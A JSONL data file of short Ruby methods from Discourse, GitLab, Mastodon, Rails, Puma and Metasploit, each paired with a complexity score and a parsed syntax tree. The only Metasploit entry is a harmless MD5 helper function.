{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-gamification/app/controllers/discourse_gamification/admin_gamification_leaderboard_controller.rb","start_line":65,"raw_source":"def destroy\n    params.require(:id)\n\n    leaderboard = DiscourseGamification::GamificationLeaderboard.find(params[:id])\n\n    if leaderboard && leaderboard.destroy\n      Jobs.enqueue(Jobs::DeleteLeaderboardPositions, leaderboard_id: leaderboard.id)\n    end\n\n    render json: success_json\n  end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"leaderboard\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseGamification\"]},\"GamificationLeaderboard\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaderboard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaderboard\"]},\"destroy\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"DeleteLeaderboardPositions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"leaderboard_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"leaderboard\"]},\"id\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"d5bd63cd-a28e-4a09-a2b5-15f87ba8172a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/generate_perf_testdata.rb","start_line":134,"raw_source":"def create_an_mr_with_large_files_and_many_mr_discussions\n        content_arr = []\n        16.times do |i|\n          faker_line_arr = Faker::Lorem.sentences(1500)\n          content = faker_line_arr.join(\"\\n\\r\")\n          create_a_new_file_api_req(\"hello#{i + 100}.txt\", Runtime::Env.default_branch, \"#{@group_name}%2F#{@project_name}\", \"Add hello#{i + 100}.txt\", content)\n          content_arr[i] = faker_line_arr\n        end\n\n        create_a_branch_api_req(\"performance\", \"#{@group_name}%2F#{@project_name}\")\n\n        16.times do |i|\n          missed_line_array = content_arr[i].each_slice(2).map(&:first)\n          content = missed_line_array.join(\"\\n\\rIm new!:D \\n\\r \")\n\n          update_file_api_req(\"hello#{i + 100}.txt\", \"performance\", \"#{@group_name}%2F#{@project_name}\", \"Update hello#{i + 100}.txt\", content)\n        end\n\n        create_mr_response = create_a_merge_request_api_req(\"#{@group_name}%2F#{@project_name}\", \"performance\", Runtime::Env.default_branch, \"Large_MR\")\n\n        iid = JSON.parse(create_mr_response.body)[\"iid\"]\n        diff_refs = JSON.parse(create_mr_response.body)[\"diff_refs\"]\n\n        # Add discussions to diff tab and resolve a few!\n        should_resolve = false\n        16.times do |i|\n          1.upto(9) do |j|\n            create_diff_note(iid, i, j, diff_refs[\"head_sha\"], diff_refs[\"start_sha\"], diff_refs[\"base_sha\"], \"new_line\")\n            create_diff_note_response = create_diff_note(iid, i, j, diff_refs[\"head_sha\"], diff_refs[\"start_sha\"], diff_refs[\"base_sha\"], \"old_line\")\n\n            if should_resolve\n              discussion_id = JSON.parse(create_diff_note_response.body)[\"id\"]\n\n              update_a_discussion_on_issue_api_req(\"#{@group_name}%2F#{@project_name}\", iid, discussion_id, \"true\")\n            end\n\n            should_resolve ^= true\n          end\n        end\n\n        # Add discussions to main tab\n        100.times do\n          create_a_discussion_on_mr_api_req(\"#{@group_name}%2F#{@project_name}\", iid, \"Let us discuss\")\n        end\n        @urls[:large_mr] = JSON.parse(create_mr_response.body)[\"web_url\"]\n        $stdout.puts \"Created an MR with many discussions and many very large Files: #{@urls[:large_mr]}\"\n      end","complexity_score":87.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_an_mr_with_large_files_and_many_mr_discussions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content_arr\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"faker_line_arr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Lorem\"]},\"sentences\",{\"type\":\"int\",\"children\":[1500]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"faker_line_arr\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\r\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create_a_new_file_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"default_branch\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Add hello\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_arr\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"lvar\",\"children\":[\"faker_line_arr\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create_a_branch_api_req\",{\"type\":\"str\",\"children\":[\"performance\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"missed_line_array\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content_arr\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"each_slice\",{\"type\":\"int\",\"children\":[2]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"missed_line_array\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\rIm new!:D \\n\\r \"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_file_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"hello\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]},{\"type\":\"str\",\"children\":[\"performance\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Update hello\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]},{\"type\":\"str\",\"children\":[\".txt\"]}]},{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"create_mr_response\",{\"type\":\"send\",\"children\":[null,\"create_a_merge_request_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"str\",\"children\":[\"performance\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"Env\"]},\"default_branch\"]},{\"type\":\"str\",\"children\":[\"Large_MR\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"iid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_mr_response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"iid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"diff_refs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_mr_response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"diff_refs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"should_resolve\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[16]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"upto\",{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_diff_note\",{\"type\":\"lvar\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"head_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"start_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base_sha\"]}]},{\"type\":\"str\",\"children\":[\"new_line\"]}]},{\"type\":\"lvasgn\",\"children\":[\"create_diff_note_response\",{\"type\":\"send\",\"children\":[null,\"create_diff_note\",{\"type\":\"lvar\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"head_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"start_sha\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_refs\"]},\"[]\",{\"type\":\"str\",\"children\":[\"base_sha\"]}]},{\"type\":\"str\",\"children\":[\"old_line\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"should_resolve\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"discussion_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_diff_note_response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"update_a_discussion_on_issue_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"iid\"]},{\"type\":\"lvar\",\"children\":[\"discussion_id\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"should_resolve\"]},\"^\",{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[100]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create_a_discussion_on_mr_api_req\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_name\"]}]},{\"type\":\"str\",\"children\":[\"%2F\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project_name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"iid\"]},{\"type\":\"str\",\"children\":[\"Let us discuss\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"large_mr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"create_mr_response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"web_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdout\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created an MR with many discussions and many very large Files: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@urls\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"large_mr\"]}]}]}]}]}]}]}","id":"c2a3de50-b30c-4dc3-9b6c-f2faade0a970"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/concurrency_limit/middleware_v2.rb","start_line":54,"raw_source":"def should_defer_schedule?\n          return false if disabled_for_worker?\n          return false if job['at'] # scheduled jobs can be later assessed on enqueue\n          return false if resumed?\n          return false if worker_limit == 0\n\n          has_jobs_in_queue?\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"should_defer_schedule?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disabled_for_worker?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job\"]},\"[]\",{\"type\":\"str\",\"children\":[\"at\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resumed?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"worker_limit\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"has_jobs_in_queue?\"]}]}]}","id":"1e563991-204a-4a13-ae1e-010da5dfa8eb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/api/v1/media_controller.rb","start_line":47,"raw_source":"def check_processing\n    render json: processing_error, status: 422 if @media_attachment.processing_failed?\n  end","complexity_score":4.73,"ast_json":"{\"type\":\"def\",\"children\":[\"check_processing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@media_attachment\"]},\"processing_failed?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"processing_error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[422]}]}]}]},null]}]}","id":"58d89e03-2518-4dd5-a47a-1921c78ee447"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/params_wrapper_test.rb","start_line":167,"raw_source":"def test_no_double_wrap_if_key_exists\n    with_default_wrapper_options do\n      @request.env[\"CONTENT_TYPE\"] = \"application/json\"\n      post :parse, params: { \"user\" => { \"username\" => \"sikachu\" } }\n      assert_parameters(\"user\" => { \"username\" => \"sikachu\" })\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_double_wrap_if_key_exists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_default_wrapper_options\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"CONTENT_TYPE\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"parse\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"sikachu\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_parameters\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"str\",\"children\":[\"sikachu\"]}]}]}]}]}]}]}]}]}","id":"7c8af736-6f9c-4a3d-b164-771f01d762b7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/attribute_methods/composite_primary_key.rb","start_line":57,"raw_source":"def id_was\n        if self.class.composite_primary_key?\n          @primary_key.map { |col| attribute_was(col) }\n        else\n          super\n        end\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id_was\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"composite_primary_key?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@primary_key\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"col\"]}]},{\"type\":\"send\",\"children\":[null,\"attribute_was\",{\"type\":\"lvar\",\"children\":[\"col\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1d98e20c-929f-4d86-ad10-6c260ae20636"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/binder.rb","start_line":462,"raw_source":"def close_listeners\n      @listeners.each do |l, io|\n        begin\n          io.close unless io.closed?\n          uri = URI.parse l\n          next unless uri.scheme == 'unix'\n          unix_path = \"#{uri.host}#{uri.path}\"\n          File.unlink unix_path if @unix_paths.include?(unix_path) && File.exist?(unix_path)\n        rescue Errno::EBADF\n        end\n      end\n    end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"close_listeners\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@listeners\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]},{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"closed?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"close\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"l\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"scheme\"]},\"==\",{\"type\":\"str\",\"children\":[\"unix\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"unix_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@unix_paths\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"unix_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"unix_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"lvar\",\"children\":[\"unix_path\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"EBADF\"]}]},null,null]},null]}]}]}]}","id":"f1dc906b-5ff9-4ea0-8ad5-fa3922edb995"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/reset_skipped_jobs_service_spec.rb","start_line":423,"raw_source":"def jobs_name_status_owner_needs\n    processables.reload.map do |job|\n      job.attributes.slice('name', 'status', 'user_id').merge('needs' => job.needs.map(&:name))\n    end\n  end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"jobs_name_status_owner_needs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processables\"]},\"reload\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"attributes\"]},\"slice\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"user_id\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"needs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"needs\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]}]}]}]}","id":"62292609-671d-424b-9100-6330c0fa7b7f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/terramaster_unauth_rce_cve_2021_45837.rb","start_line":122,"raw_source":"def tos_encrypt_str(key, str_to_encrypt)\n    id = key + str_to_encrypt\n    return Digest::MD5.hexdigest(id.encode('utf-8'))\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tos_encrypt_str\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"str_to_encrypt\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"str_to_encrypt\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"MD5\"]},\"hexdigest\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"encode\",{\"type\":\"str\",\"children\":[\"utf-8\"]}]}]}]}]}]}","id":"9540ded3-5130-4632-bdb4-a2f9ee8d8df1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/backup_restore/backuper.rb","start_line":417,"raw_source":"def remove_tmp_directory\n      log \"Removing tmp '#{@tmp_directory}' directory...\"\n      FileUtils.rm_rf(@tmp_directory) if Dir[@tmp_directory].present?\n    rescue => ex\n      log \"Something went wrong while removing the following tmp directory: #{@tmp_directory}\", ex\n    end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_tmp_directory\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Removing tmp '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tmp_directory\"]}]},{\"type\":\"str\",\"children\":[\"' directory...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"[]\",{\"type\":\"ivar\",\"children\":[\"@tmp_directory\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"rm_rf\",{\"type\":\"ivar\",\"children\":[\"@tmp_directory\"]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Something went wrong while removing the following tmp directory: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tmp_directory\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},null]}]}","id":"e8db1313-4a55-4a89-a59a-3004cc145a07"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/topic_guardian.rb","start_line":28,"raw_source":"def can_see_shared_draft?\n    @user.in_any_groups?(SiteSetting.shared_drafts_allowed_groups_map)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_see_shared_draft?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"shared_drafts_allowed_groups_map\"]}]}]}","id":"9acbc9ba-10be-4e08-8a6a-3ac9d0a26fca"}
